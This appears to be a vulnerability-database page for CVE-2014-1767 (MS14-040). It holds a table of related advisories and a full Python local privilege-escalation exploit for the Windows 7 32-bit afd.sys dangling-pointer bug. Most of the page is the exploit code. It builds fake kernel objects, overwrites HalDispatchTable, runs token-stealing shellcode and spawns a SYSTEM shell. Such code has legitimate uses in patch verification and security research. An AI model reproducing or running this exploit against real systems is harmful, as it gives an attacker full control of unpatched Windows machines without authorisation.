| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| Microsoft Windows - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040) | 15 Feb 201600:00 | – | zdt | |
| Microsoft Windows 7 (x64) - 'afd.sys' Privilege Escalation (MS14-040) | 7 Mar 201600:00 | – | zdt | |
| CVE-2014-1767 | 31 Aug 202503:01 | – | circl | |
| CVE-2014-1767 | 8 Jul 201422:00 | – | cve | |
| CVE-2014-1767 | 8 Jul 201422:00 | – | cvelist | |
| Microsoft Windows 7 (x86) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040) | 15 Feb 201600:00 | – | exploitdb | |
| Microsoft Windows 7 (x64) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040) | 7 Mar 201600:00 | – | exploitdb | |
| Microsoft Windows 7 (x64) - afd.sys Dangling Pointer Privilege Escalation (MS14-040) | 7 Mar 201600:00 | – | exploitpack | |
| MS14-040: Vulnerability in ancillary function driver could allow elevation of privilege: July 8, 2014 | 8 Jul 201400:00 | – | mskb | |
| KLA10601 Multiple vulnerabilities in Microsoft products | 11 Nov 201400:00 | – | kaspersky |
# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
# Date: 2016-02-05
# Exploit Author: Rick Larabee
# Vendor Homepage: www.microsoft.com
# Version: Windows 7, 32 bit
# Tested on: Win7 x32
# afd.sys - 6.1.7600.16385
# ntdll.dll - 6.1.7600.16385
#
# CVE : CVE-2014-1767
# Category: Local Privilege Escalation
# References:
# http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
# http://ricklarabee.blogspot.com/
# https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
# https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
# http://www.cvedetails.com/cve/CVE-2014-1767/
#
# Greetz: PWN4GEPWN1E, SecurityMook
from ctypes import *
import socket, time, os, struct, sys
from ctypes.wintypes import HANDLE, DWORD
kernel32 = windll.kernel32
ntdll = windll.ntdll
Psapi = windll.Psapi
MEMRES = (0x1000 | 0x2000)
PAGEEXE = 0x00000040
Zerobits = c_int(0)
RegionSize = c_int(0x1000)
written = c_int(0)
FakeObjSize = 0xA0
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
INVALID_HANDLE_VALUE = -1
WSAGetLastError = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype = c_int
SOCKET = c_int
WSASocket = windll.Ws2_32.WSASocketA
WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype = SOCKET
closesocket = windll.Ws2_32.closesocket
closesocket.argtypes = (SOCKET,)
closesocket.restype = c_int
connect = windll.Ws2_32.connect
connect.argtypes = (SOCKET, c_void_p, c_int)
connect.restype = c_int
class sockaddr_in(Structure):
_fields_ = [
("sin_family", c_short),
("sin_port", c_ushort),
("sin_addr", c_ulong),
("sin_zero", c_char * 8),
]
def findSysBase(drvname=None):
ARRAY_SIZE = 1024
myarray = c_ulong * ARRAY_SIZE
lpImageBase = myarray()
cb = c_int(1024)
lpcbNeeded = c_long()
drivername_size = c_long()
drivername_size.value = 48
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
for baseaddy in lpImageBase:
drivername = c_char_p("\x00"*drivername_size.value)
if baseaddy:
Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
drivername_size.value)
if drvname:
if drivername.value.lower() == drvname:
print "[+] Retrieving %s info..." % drvname
print "[+] %s base address: %s" % (drvname, hex(baseaddy))
return baseaddy
else:
if drivername.value.lower().find("krnl") !=-1:
print "[+] Retrieving Kernel info..."
print "[+] Kernel version:", drivername.value
print "[+] Kernel base address: %s" % hex(baseaddy)
return (baseaddy, drivername.value)
return None
def CreateBuffer1():
inbuf1size = 0x30
virtualAddress = 0x18888888
length = 0x20000
inbuf1 = "\x00" * 0x18 + struct.pack("L", virtualAddress) #0x1a
inbuf1 += struct.pack("L", length) #0x20
inbuf1 += "\x00" * 0x8 + "\x01"
inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
baseadd = c_int(0x1001)
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
byref(baseadd),
0x0,
byref(RegionSize),
MEMRES,
PAGEEXE)
kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written))
def CreateBuffer2():
inbuf2size = 0x10
addrforbuf2 = 0x0AAAAAAA
inbuf2 = "\x01\x00\x00\x00"
inbuf2 += struct.pack("L", addrforbuf2)
inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
baseadd = c_int(0x2001)
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
byref(baseadd),
0x0,
byref(RegionSize),
MEMRES,
PAGEEXE)
kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written))
def CreateFakeObject():
print "[+] Print creating fakeobject"
fakeobject2addr = 0x2200
fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C)
fakeobj2size = len(fakeobject2)
kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))
objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x16\x00\x08\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00")
fakeobject = objhead
fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4)
fakeobject += "\x41" * (FakeObjSize - len(fakeobject))
kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written))
print "[+] creating socket..."
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)
if sock == -1:
print "[-] no luck creating socket!"
sys.exit(1)
print "[+] got sock 0x%x" % sock
addr = sockaddr_in()
addr.sin_family = socket.AF_INET
addr.sin_port = socket.htons(135)
addr.sin_addr = socket.htonl(0x7f000001)
connect(sock, byref(addr), sizeof(addr))
print "[+] sock connected."
print "\n[+] GO!"
(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("halmacpi.dll")
OS = "7"
if OS == "7":
HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7
_KPROCESS = "\x50"
_TOKEN = "\xf8"
_UPID = "\xb4"
_APLINKS = "\xb8"
print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)
IoStatus = c_ulong()
IoStatusBlock = c_ulong()
CreateBuffer1()
CreateBuffer2()
CreateFakeObject()
inbuf1 = 0x1000
inbuf2 = 0x2000
hWF = HANDLE(0)
FakeWorkerFactoryADDR = 0x2100
# Trigger 1
# afd!afdTransmitFile
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0)
CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0))
ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0)
hWFaddr = hWF
print "[+] WorkerFactoryHandle:", hWF.value
hWFaddr = int(addressof(hWF))
shellcode_address = 0x00020700
padding = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4
_WFValue = struct.pack("L", hWFaddr)
sc_pointer = struct.pack("L", shellcode_address+0x4)
restore_ptrs = "\x31\xc0" + \
"\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
"\xa3" + struct.pack("L", HalDispatchTable0x4)
tokenstealing = "\x52" +\
"\x53" +\
"\x33\xc0" +\
"\x64\x8b\x80\x24\x01\x00\x00" +\
"\x8b\x40" + _KPROCESS +\
"\x8b\xc8" +\
"\x8b\x98" + _TOKEN + "\x00\x00\x00" +\
"\x89\x1d\x00\x09\x02\x00" +\
"\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
"\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
"\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
"\x75\xe8" +\
"\x8b\x90" + _TOKEN + "\x00\x00\x00" +\
"\x8b\xc1" +\
"\x89\x90" + _TOKEN + "\x00\x00\x00"
fixobjheaders = "\x33\xC0" +\
"\x64\x8B\x80\x24\x01\x00\x00" +\
"\x8B\x40\x50" +\
"\x8B\x80\xF4\x00\x00\x00" +\
"\x8B\xD8" +\
"\x8B\x00" +\
"\x8B\x0D" + _WFValue +\
"\x83\xE1\xFC" +\
"\x03\xC9" +\
"\x03\xC1" +\
"\xC7\x00\x00\x00\x00\x00" +\
"\x83\xC3\x30" +\
"\x8B\xC3" +\
"\x8B\x1B" +\
"\x83\xEB\x01" +\
"\x89\x18" +\
"\x5B" +\
"\x5A" +\
"\xC2\x10\x00"
shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
shellcode_size = len(shellcode)
orig_size = shellcode_size
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))
### Trigger 2
## afd!AfdTransmitPackets
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0)
ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)
ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ;
inp = c_ulong()
out = c_ulong()
inp = 0x1337
qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /K cd c:\\windows\\system32")
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation